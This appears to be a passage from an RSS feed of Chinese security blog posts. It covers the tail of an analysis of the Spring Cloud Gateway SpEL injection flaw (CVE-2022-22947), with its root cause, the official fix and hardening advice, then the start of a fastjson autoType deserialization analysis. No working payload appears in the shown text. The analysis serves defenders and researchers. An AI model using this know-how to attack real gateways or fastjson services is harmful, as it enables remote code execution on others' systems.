border-box;"> 继承于 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AbstractGatewayFilterFactory</strong></span></p><p cid="n288" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AbstractGatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 实现了 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">GatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 接口</span></p><p cid="n295" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">GatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 接口继承于 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">ShortcutConfigurable</strong></span></p><p cid="n300" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">因此当从 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AddResponseHeaderGatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 传入的值进行计算（getValue()）的时候，会逐一向上调用对应的方法，直到进入带有 SpEL 表达式解析器的位置进行最后的解析，也从而触发了SpEL表达式注入漏洞。</span></p><p cid="n277" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">最后我们也可以直接进入 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AddResponseHeaderGatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 类回顾看看：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">AddResponseHeaderGatewayFilterFactory</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AbstractNameValueGatewayFilterFactory</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> GatewayFilter <span class="code-snippet__title">apply</span><span class="code-snippet__params">(NameValueConfig config)</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> GatewayFilter() {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Mono&lt;Void&gt; <span class="code-snippet__title">filter</span><span class="code-snippet__params">(ServerWebExchange exchange, GatewayFilterChain chain)</span> </span>{</span></code><code><span class="code-snippet_outer">        String value = ServerWebExchangeUtils.expand(exchange, config.getValue());</span></code><code><span class="code-snippet_outer">        exchange.getResponse().getHeaders().add(config.getName(), value);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> chain.filter(exchange);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">toString</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> filterToStringCreator(AddResponseHeaderGatewayFilterFactory.<span class="code-snippet__keyword">this</span>)</span></code><code><span class="code-snippet_outer">            .append(config.getName(), config.getValue()).toString();</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    };</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n240" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">可以看到，首先在apply方法中传入了</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">NameValueConfig</strong></span><span md-inline="plain" style="box-sizing: border-box;">类型的config，点进去可以看到NameValueConfig类型有两个值，并且不能为空：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.46629213483146065" data-s="300,640" style="" data-type="png" data-w="2136" src="https://wechat2rss.xlab.app/img-proxy/?k=1a9d6ef4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRk0l8NrficlgbxdeAfjlQ9Hl7ZaAuZ2NxPrMW9VfIWqawWJf5icwHAcPA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n227" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">可以看到，NameValueConfig 在AbstractNameValueGatewayFilterFactory中，AbstractNameValueGatewayFilterFactory是AddResponseHeaderGatewayFilterFactory的父类，在父类中进行了getValue()操作，并且可以看到 config 中通过 getValue() 返回的 value 值就是我们所执行的SpEL表达式返回的结果：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4553359683794466" data-s="300,640" style="" data-type="png" data-w="2530" src="https://wechat2rss.xlab.app/img-proxy/?k=b82f9fa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRc6iasKcn2ib2CbqvcrlAlaqIEFruicFib9RyNVUuXCibibqz8Y2khbw3ScAw%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n159" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">0x04 漏洞修复</span><br/></h2><p cid="n348" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">由于是SpEL表达式注入漏洞，而引起这个漏洞的原因一般是使用了 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">StandardEvaluationContext</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 方法去解析表达式，解析表达式的方法有两个：</span></p><ul class="list-paddingleft-2" cid="n350" mdtype="list" data-mark="-" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><li style="box-sizing: border-box;"><p cid="n360" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别，公开SpEL语言特性和配置选项的子集。</span></p></li><li style="box-sizing: border-box;"><p cid="n361" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。</span></p></li></ul><p cid="n358" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集，不包括 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">Java类型引用、构造函数和bean引用</strong></span><span md-inline="plain" style="box-sizing: border-box;">。而StandardEvaluationContext 支持</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">全部SpEL语法</strong></span><span md-inline="plain" style="box-sizing: border-box;">。所以根据功能描述，将</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">StandardEvaluationContext</strong></span><span md-inline="plain" style="box-sizing: border-box;">方法用 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">SimpleEvaluationContext</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 方法替换即可。</span></p><p cid="n371" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">官方的修复方法是利用 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">BeanFactoryResolver</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 的方式去引用Bean，然后将其传入官方自己写的一个解析的方法</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">GatewayEvaluationContext</strong></span><span md-inline="plain" style="box-sizing: border-box;">中：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.25119846596356665" data-s="300,640" style="" data-type="png" data-w="2086" src="https://wechat2rss.xlab.app/img-proxy/?k=9f607ec6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRRwUvia7jibD12hBF1w2od3TIAE9icgSUqiaDwd603oUibvO9NOo3GibxUFqg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c4f9e638&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzR6e57ltibfdJdy5sJbtFe0t6GwVHJmnxoibLX6rfiamWpocpk4qIr4OIsA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n369" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">此外，官方还给了</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">建议</span></span><span md-inline="plain" style="box-sizing: border-box;">：</span></p><p cid="n379" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="0.10808510638297872" data-s="300,640" style="white-space: normal;" data-type="png" data-w="2350" src="https://wechat2rss.xlab.app/img-proxy/?k=ffe4aea9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzR18Oz1v3mUicPpWzRJkokObb3ysr0PNYX0NibWVyOyv8BeXYPl8hvXFFQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n381" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">如果不需要Gateway actuator的endpoint功能，就关了它吧，如果需要，那么就利用 Spring Security 对其进行保护，具体的保护方式可以参考：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security" target="_blank">https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security</a></span></p><h2 cid="n336" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">0x05 写在最后</span></h2><p cid="n393" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">这个漏洞的原理还是比较清晰的，可惜没能通过陈师傅在星球发的那个SSRF漏洞更深的去分析，尝试挖掘新的漏洞，果然，成功是留给有心人的呀！</span></p><p cid="n395" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">在这里提醒一下，在实际环境中，如果由于某种原因删除不起作用，有可能会导致刷新请求失败，那么就会有可能会导致站点出现问题，所以在实际测试的过程中，建议别乱搞，不然就要重启站点了。</span></p><p cid="n385" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">最后，这个漏洞像不像是官方提供的一种内存马？（hhhhhhhh</span></p><p cid="n583" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">文笔有限，如果文章有错误，欢迎师傅们指正</span></p><p cid="n583" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">PS：再给陈师傅星球打一波广告<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5114192495921697" data-s="300,640" style="" data-type="png" data-w="1226" src="https://wechat2rss.xlab.app/img-proxy/?k=c41f9ef6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzR237Aia6smHdGvOjLrZcPXlA5JYffAJUvLf2NMEKk7dic0SofR1icX6fuQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n583" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p><h2 cid="n161" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">0x06 参考</span></h2><p cid="n163" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://juejin.cn/post/6844903639840980999" target="_blank">https://juejin.cn/post/6844903639840980999</a></span></p><p cid="n165" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://blog.csdn.net/qq_38233650/article/details/98038225" target="_blank">https://blog.csdn.net/qq_38233650/article/details/98038225</a></span></p><p cid="n335" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md" target="_blank">https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md</a></span></p><p cid="n389" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e" target="_blank">https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e</a></span></p><p><br/></p>



<p><a href="https://www.cnpanda.net/sec/1159.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0db8efb9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247484085%26idx%3D1%26sn%3D4045c2e16e346f2aadfc1b2554cfa36a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 06 Mar 2022 01:23:00 +0800</pubDate>
    </item>
    <item>
      <title>fastjson&lt;=1.2.68 漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247484085&amp;idx=2&amp;sn=0a16667c86e96e3315a1110d805df912</link>
      <description>去年写的文章，没发出来，给公众号增加点内容，也留点笔记</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2022-03-06 01:23</span> <span style="display: inline-block;"></span>
</p>

<p>去年写的文章，没发出来，给公众号增加点内容，也留点笔记</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b7eb37e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRzPf2vxqQQog8X7zF6ngicZnL8f9fTrJI6iccL9p2icwMS6X5EibQ3JWibCg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>去年写的文章，没发出来，给公众号增加点内容，也留点笔记 </p><p><br/></p><p><span style="font-size: 24px;"><strong>写在前面</strong></span><br/></p><p><br/></p><p>自2017年3月15日 fastjson 1.2.24版本被爆出反序列化漏洞以来，其就成为了安全人员中的重 点研究对象，即使后来 fastjson 为了安全设置了checkAutoType 防御机制，也依旧没能完全杜 绝新的漏洞产生，结合今日BlackHat 大会上玄武实验室的《How i use json deserialization》 议题，来看看这个漏洞。</p><p><strong style="font-size: 24px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></strong></p><p><strong style="font-size: 24px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Fastjson的两个机制</strong><br/></p><p><br/></p><p>fastjson中产生漏洞的根本原因在于其 autoType 机制，以及针对于 autoType 机制做的 <span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">checkAutoType 检测防御机制，先来具体看看这两个机制。</span></p><p><br/></p><p><span style="font-size: 20px;">Autotype</span></p><p><br/></p><p>首先来谈谈为什么要有autotype这个机制 </p><p><br/></p><p>功能来源于需求，这是在开发过程中的准则之一，没有人会去做一个没有需求的功能，在<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">fastjson中亦是如此。</span></p><p><br/></p><p>当我们使用fastjson中的JSON.parseObject(jsonstr, xxx.class)方法的时候，如果xxx是一个抽象 类或接口，那么我们得到的结果会是NULL，也就是说我们没有办法去指定一个抽象类或接 口，只能根据json字符串中的实现类的信息去帮助开发者解析成对应的实现类。问题出现， 那么需求就来了，如何实现fasjton对多态的支持?是的，fastjson给了我们答案——autotype 机制。</p><p><br/></p><p>在fastjson中，当要将具体的实现类解析为json字符串的同时，开发者可以为其指定 SerializerFeature，然后通过添加 SerializerFeature.WriteClassName 的方式，使得在生成的 json字符串中，添加序列化信息(写入类型信息)。</p><p><br/></p><p>举个例子:</p><p><br/></p><p>如果现在有一个抽象类为 abstractClass_A，有一个实现类为class_B，当开发者要将class_B要 解析成为json字符串的时候，就可以添加 SerializerFeature，如下所示:</p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6177083333333333" data-s="300,640" data-w="1920" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f48bcfa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRSwyXic6bevfegnW9CqFKXHNJqCF6jWyV3y7IFiaibic80s8By2Q21dnM5g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p> 可以看到，此时解析成功的json字符串内容如下：</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{ <span class="code-snippet__attr">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;testAutoType$class_B&#34;</span>, <span class="code-snippet__attr">&#34;str&#34;</span>:<span class="code-snippet__string">&#34;panda&#34;</span>}</span></code></pre></section><p>会自动携带一个 @type 的属性，这个属性指定了序列化的类</p><p><br/></p><p>之后当开发者想要直接使用抽象类A，就可以通过反序列化解析字符串，从而得到具体的实现类</p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6346749226006192" data-s="300,640" data-w="1938" data-type="png" 